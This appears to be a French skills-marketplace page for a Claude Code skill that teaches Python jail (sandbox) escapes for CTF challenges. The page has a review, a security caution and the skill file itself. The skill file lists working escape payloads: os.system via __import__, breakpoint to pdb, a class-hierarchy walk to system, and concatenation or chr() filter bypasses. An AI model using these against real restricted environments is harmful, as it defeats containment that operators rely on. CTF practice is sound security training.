PyJail - Évasion de Python

VérifiéPrudence

Échappe aux restrictions de sandbox Python. Utilisez dans des environnements restreints eval/exec.

Spar Skills Guide Bot
SecuriteAvancé
1025/07/2026
Claude Code
#python-jail#sandbox-escape#ctf#security

Recommandé pour

Notre avis

Compétence pour échapper aux restrictions des sandbox Python dans les environnements eval/exec restreints, souvent utilisée dans les défis CTF.

Points forts

  • Fournit une référence rapide pour les techniques d'évasion courantes.
  • Inclut à la fois des méthodes de base et avancées (hiérarchie de classes).
  • Propose des stratégies de contournement par encodage/concatenation.
  • Offre des aides au débogage pour trouver les indices de classes utiles.

Limites

  • Les techniques peuvent ne pas fonctionner sur des sandboxes renforcées avec des restrictions supplémentaires.
  • Certaines méthodes dépendent de versions spécifiques de Python (par exemple, breakpoint en 3.7+).
  • Ne couvre pas tous les contournements de filtres possibles.
Quand l'utiliser

Utilisez cette compétence lorsque vous devez exécuter du code dans un environnement Python restreint, comme un jail CTF ou un eval sandboxé.

Quand l'éviter

Ne l'utilisez pas dans des environnements de production ou là où la sécurité du sandbox est une exigence.

Analyse de sécurité

Prudence
Score qualité80/100

This skill teaches Python sandbox escape techniques, which involve executing system commands and bypassing restrictions. While intended for CTF challenges, it could enable malicious use if applied inappropriately. The use of Bash and system access warrants caution.

Points d'attention
  • Instructs execution of arbitrary system commands via Python's os module
  • Provides methods to bypass Python security filters and access restricted functions
  • Could be used to escalate privileges or exfiltrate data if misapplied

Exemples

Basic command execution
I'm in a Python jail where I can only use eval. How do I execute a shell command to read the flag?
Bypass blocked strings
The jail blocks the word 'os', so I can't use __import__('os'). How can I still call system?
Class hierarchy escape
Builtins are not available in the Python jail. Use the class hierarchy to get to os.system.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Skills similaires